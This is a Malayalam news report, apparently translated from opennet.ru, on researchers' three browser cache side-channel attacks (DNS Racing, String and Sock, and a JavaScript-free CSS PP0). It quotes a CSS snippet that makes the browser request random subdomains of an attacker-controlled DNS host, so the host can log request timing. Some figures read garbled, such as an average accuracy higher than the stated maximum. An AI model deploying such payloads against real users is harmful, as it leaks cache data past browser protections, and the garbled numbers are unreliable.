JavaScript ഇല്ലാതെ ഒരു വെബ് ബ്രൗസറിൽ നടപ്പിലാക്കിയ CPU കാഷെ എക്സ്ട്രാക്ഷൻ ആക്രമണം

നിരവധി അമേരിക്കൻ, ഇസ്രായേൽ, ഓസ്‌ട്രേലിയൻ സർവ്വകലാശാലകളിൽ നിന്നുള്ള ഒരു സംഘം ഗവേഷകർ പ്രോസസർ കാഷെയുടെ ഉള്ളടക്കത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ എക്‌സ്‌ട്രാക്‌റ്റുചെയ്യുന്നതിന് വെബ് ബ്രൗസറുകളിൽ പ്രവർത്തിക്കുന്ന മൂന്ന് ആക്രമണങ്ങൾ വികസിപ്പിച്ചെടുത്തിട്ടുണ്ട്. ജാവാസ്ക്രിപ്റ്റ് ഇല്ലാത്ത ബ്രൗസറുകളിൽ ഒരു രീതി പ്രവർത്തിക്കുന്നു, മറ്റ് രണ്ടെണ്ണം ടോർ ബ്രൗസറിലും ഡിറ്റർഫോക്സിലും ഉപയോഗിക്കുന്നവ ഉൾപ്പെടെയുള്ള സൈഡ്-ചാനൽ ആക്രമണങ്ങളിൽ നിന്നുള്ള സംരക്ഷണത്തിന്റെ നിലവിലുള്ള രീതികളെ മറികടക്കുന്നു. ആക്രമണങ്ങൾ കാണിക്കുന്നതിനുള്ള കോഡും ആക്രമണത്തിന് ആവശ്യമായ സെർവർ ഘടകങ്ങളും GitHub-ൽ പ്രസിദ്ധീകരിച്ചിട്ടുണ്ട്.

കാഷെയിലെ ഉള്ളടക്കങ്ങൾ വിശകലനം ചെയ്യുന്നതിന്, എല്ലാ ആക്രമണങ്ങളും പ്രൈം+പ്രോബ് രീതി ഉപയോഗിക്കുന്നു, അതിൽ കാഷെ ഒരു സ്റ്റാൻഡേർഡ് മൂല്യങ്ങൾ ഉപയോഗിച്ച് പൂരിപ്പിക്കുകയും അവ വീണ്ടും നിറയ്ക്കുമ്പോൾ അവയിലേക്കുള്ള ആക്‌സസ് സമയം അളന്ന് മാറ്റങ്ങൾ കണ്ടെത്തുകയും ചെയ്യുന്നു. കൃത്യമായ സമയം അളക്കുന്നതിൽ ഇടപെടുന്ന ബ്രൗസറുകളിൽ നിലവിലുള്ള സുരക്ഷാ സംവിധാനങ്ങളെ മറികടക്കാൻ, രണ്ട് ഓപ്ഷനുകളിൽ, ആക്രമണകാരി നിയന്ത്രിക്കുന്ന DNS അല്ലെങ്കിൽ WebSocket സെർവറിലേക്ക് ഒരു അപ്പീൽ നടത്തുന്നു, ഇത് ലഭിച്ച അഭ്യർത്ഥനകളുടെ സമയത്തിന്റെ ലോഗ് സൂക്ഷിക്കുന്നു. ഒരു രൂപത്തിൽ, ഒരു നിശ്ചിത DNS പ്രതികരണ സമയം ഒരു സമയ റഫറൻസായി ഉപയോഗിക്കുന്നു.

മെഷീൻ ലേണിംഗിനെ അടിസ്ഥാനമാക്കിയുള്ള ഒരു വർഗ്ഗീകരണ സംവിധാനം ഉപയോഗിച്ച് ബാഹ്യ DNS അല്ലെങ്കിൽ WebSocket സെർവറുകൾ ഉപയോഗിച്ച് നടത്തിയ അളവുകൾ, ഏറ്റവും ഒപ്റ്റിമൽ സാഹചര്യത്തിൽ (ശരാശരി 98-80%) 90% വരെ കൃത്യതയോടെ മൂല്യങ്ങൾ പ്രവചിക്കാൻ പര്യാപ്തമാണ്. ആക്രമണ രീതികൾ വിവിധ ഹാർഡ്‌വെയർ പ്ലാറ്റ്‌ഫോമുകളിൽ (ഇന്റൽ, എഎംഡി റൈസൺ, ആപ്പിൾ എം1, സാംസങ് എക്‌സിനോസ്) പരീക്ഷിക്കുകയും സാർവത്രികമാണെന്ന് തെളിയിക്കുകയും ചെയ്തിട്ടുണ്ട്.

DNS റേസിംഗ് ആക്രമണത്തിന്റെ ആദ്യ വകഭേദം JavaScript അറേകൾ ഉപയോഗിച്ച് Prime+Probe രീതിയുടെ ഒരു ക്ലാസിക് നിർവ്വഹണം ഉപയോഗിക്കുന്നു. ഒരു എക്‌സ്‌റ്റേണൽ ഡിഎൻഎസ്-അധിഷ്‌ഠിത ടൈമറിന്റെയും ഒരു ഓൺറർ ഹാൻഡ്‌ലറിന്റെയും ഉപയോഗത്തിലേക്ക് വ്യത്യാസങ്ങൾ തിളച്ചുമറിയുന്നു, ഇത് നിലവിലില്ലാത്ത ഒരു ഡൊമെയ്‌നിൽ നിന്ന് ഒരു ഇമേജ് ലോഡ് ചെയ്യാൻ ശ്രമിക്കുമ്പോൾ പ്രവർത്തനക്ഷമമാകും. JavaScript ടൈമറുകളിലേക്കുള്ള ആക്‌സസ് പരിമിതപ്പെടുത്തുകയോ പൂർണ്ണമായും പ്രവർത്തനരഹിതമാക്കുകയോ ചെയ്യുന്ന ബ്രൗസറുകളിൽ പ്രൈം+പ്രോബ് ആക്രമണത്തിന് ഒരു ബാഹ്യ ടൈമർ അനുവദിക്കുന്നു.

ഒരേ ഇഥർനെറ്റ് നെറ്റ്‌വർക്കിൽ സ്ഥിതി ചെയ്യുന്ന ഒരു DNS സെർവറിന്, ടൈമറിന്റെ കൃത്യത ഏകദേശം 2 ms ആണെന്ന് കണക്കാക്കപ്പെടുന്നു, ഇത് ഒരു സൈഡ്-ചാനൽ ആക്രമണം നടത്താൻ പര്യാപ്തമാണ് (താരതമ്യത്തിന്, ടോർ ബ്രൗസറിലെ സ്റ്റാൻഡേർഡ് JavaScript ടൈമറിന്റെ കൃത്യത 100 ms ആയി കുറഞ്ഞു). ആക്രമണത്തിന്, ഡിഎൻഎസ് സെർവറിന്റെ നിയന്ത്രണം ആവശ്യമില്ല, കാരണം പ്രവർത്തനത്തിന്റെ നിർവ്വഹണ സമയം തിരഞ്ഞെടുത്തിരിക്കുന്നതിനാൽ ഡിഎൻഎസിൽ നിന്നുള്ള പ്രതികരണ സമയം ചെക്ക് നേരത്തെ പൂർത്തിയാക്കിയതിന്റെ അടയാളമായി വർത്തിക്കുന്നു (ഓൺറർ ഹാൻഡ്‌ലർ ട്രിഗർ ചെയ്‌തിട്ടുണ്ടോ എന്നതിനെ ആശ്രയിച്ച് നേരത്തെയോ പിന്നീടോ, കാഷെ ഉപയോഗിച്ച് ചെക്ക് ഓപ്പറേഷന്റെ വേഗതയെക്കുറിച്ച് ഒരു നിഗമനത്തിലെത്തുന്നു) .

രണ്ടാമത്തെ ആക്രമണ രീതി, "സ്ട്രിംഗ് ആൻഡ് സോക്ക്", ജാവാസ്ക്രിപ്റ്റിലെ അറേകളുടെ താഴ്ന്ന നിലയിലുള്ള ഉപയോഗത്തെ നിയന്ത്രിക്കുന്ന സുരക്ഷാ സാങ്കേതിക വിദ്യകളെ മറികടക്കാൻ ലക്ഷ്യമിടുന്നു. അറേകൾക്ക് പകരം, സ്‌ട്രിംഗും സോക്കും വളരെ വലിയ സ്ട്രിംഗുകളിൽ പ്രവർത്തനങ്ങൾ ഉപയോഗിക്കുന്നു, അതിന്റെ വലുപ്പം തിരഞ്ഞെടുത്തതിനാൽ വേരിയബിൾ മുഴുവൻ LLC കാഷെയും (അവസാന ലെവൽ കാഷെ) ഉൾക്കൊള്ളുന്നു. അടുത്തതായി, indexOf() ഫംഗ്‌ഷൻ ഉപയോഗിച്ച്, സ്‌ട്രിംഗിൽ ഒരു ചെറിയ സബ്‌സ്‌ട്രിംഗ് തിരയുന്നു, അത് തുടക്കത്തിൽ ഉറവിട സ്‌ട്രിംഗിൽ ഇല്ല, അതായത്. തിരയൽ പ്രവർത്തനം മുഴുവൻ സ്ട്രിംഗിലും ആവർത്തിക്കുന്നതിൽ കലാശിക്കുന്നു. ലൈൻ വലുപ്പം LLC കാഷെയുടെ വലുപ്പവുമായി പൊരുത്തപ്പെടുന്നതിനാൽ, അറേകൾ കൈകാര്യം ചെയ്യാതെ തന്നെ ഒരു കാഷെ ചെക്ക് ഓപ്പറേഷൻ നടത്താൻ സ്കാനിംഗ് നിങ്ങളെ അനുവദിക്കുന്നു. കാലതാമസം അളക്കുന്നതിന്, DNS-ന് പകരം, ആക്രമണകാരി നിയന്ത്രിത വെബ്‌സോക്കറ്റ് സെർവറിലേക്ക് ഒരു കോൾ ചെയ്യുന്നു - തിരയൽ പ്രവർത്തനം പൂർത്തിയാകുന്നതിന് മുമ്പും ശേഷവും, അന്വേഷണങ്ങൾ വരിയിൽ അയയ്‌ക്കുന്നു, അതിന്റെ അടിസ്ഥാനത്തിൽ കാഷെ വിശകലനം ചെയ്യാൻ ഉപയോഗിക്കുന്ന കാലതാമസം സെർവർ കണക്കാക്കുന്നു. ഉള്ളടക്കം.

"CSS PP0" ആക്രമണത്തിന്റെ മൂന്നാമത്തെ വേരിയന്റ് HTML, CSS എന്നിവയിലൂടെ നടപ്പിലാക്കുന്നു, കൂടാതെ JavaScript പ്രവർത്തനരഹിതമാക്കിയ ബ്രൗസറുകളിൽ പ്രവർത്തിക്കാനും കഴിയും. ഈ രീതി "സ്ട്രിംഗ് ആൻഡ് സോക്ക്" പോലെയാണ്, പക്ഷേ ജാവാസ്ക്രിപ്റ്റുമായി ബന്ധിപ്പിച്ചിട്ടില്ല. ആക്രമണസമയത്ത്, മാസ്ക് ഉപയോഗിച്ച് തിരയുന്ന ഒരു കൂട്ടം CSS സെലക്ടറുകൾ സൃഷ്ടിക്കപ്പെടുന്നു. കാഷെ നിറയ്ക്കുന്ന പ്രാരംഭ വലിയ സ്ട്രിംഗ് വളരെ വലിയ ക്ലാസ് നാമമുള്ള ഒരു div ടാഗ് സൃഷ്ടിച്ച് സജ്ജീകരിച്ചിരിക്കുന്നു. ഉള്ളിൽ സ്വന്തം ഐഡന്റിഫയറുകളുള്ള മറ്റ് ഡിവികളുടെ ഒരു കൂട്ടം ഉണ്ട്. ഈ നെസ്റ്റഡ് ഡിവികൾ ഓരോന്നിനും ഒരു സബ്‌സ്‌ട്രിംഗിനായി തിരയുന്ന ഒരു സെലക്‌ടറിനൊപ്പം അതിന്റേതായ ശൈലിയുണ്ട്. ഒരു പേജ് റെൻഡർ ചെയ്യുമ്പോൾ, ബ്രൗസർ ആദ്യം ആന്തരിക ഡിവികൾ പ്രോസസ്സ് ചെയ്യാൻ ശ്രമിക്കുന്നു, ഇത് ഒരു വലിയ നിരയിൽ ഒരു തിരയൽ പ്രവർത്തനത്തിന് കാരണമാകുന്നു. മനഃപൂർവ്വം നഷ്‌ടമായ മാസ്‌ക് ഉപയോഗിച്ചാണ് തിരയൽ നടത്തുന്നത്, കൂടാതെ മുഴുവൻ വരിയിലും ആവർത്തിക്കുന്നതിലേക്ക് നയിക്കുന്നു, അതിനുശേഷം "അല്ല" എന്ന അവസ്ഥ പ്രവർത്തനക്ഷമമാക്കുകയും ക്രമരഹിതമായ ഡൊമെയ്‌നുകളെ പരാമർശിക്കുന്ന ഒരു പശ്ചാത്തല ചിത്രം ലോഡ് ചെയ്യാൻ ശ്രമിക്കുകയും ചെയ്യുന്നു: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … എക്സ് എക്സ് ...

അഭ്യർത്ഥനകൾ സ്വീകരിക്കുന്നതിലെ കാലതാമസം അളക്കാൻ കഴിയുന്ന ആക്രമണകാരിയുടെ DNS സെർവറാണ് ഉപഡൊമെയ്‌നുകൾ നൽകുന്നത്. DNS സെർവർ എല്ലാ അഭ്യർത്ഥനകൾക്കും NXDOMAIN നൽകുകയും അഭ്യർത്ഥനകളുടെ കൃത്യമായ സമയത്തിന്റെ ഒരു ലോഗ് സൂക്ഷിക്കുകയും ചെയ്യുന്നു. ഒരു കൂട്ടം divs പ്രോസസ്സ് ചെയ്യുന്നതിന്റെ ഫലമായി, ആക്രമണകാരിയുടെ DNS സെർവറിന് ഒരു കൂട്ടം അഭ്യർത്ഥനകൾ ലഭിക്കുന്നു, അവയ്ക്കിടയിലുള്ള കാലതാമസം കാഷെ ഉള്ളടക്കങ്ങൾ പരിശോധിക്കുന്നതിന്റെ ഫലവുമായി ബന്ധപ്പെട്ടിരിക്കുന്നു.

അവലംബം: opennet.ru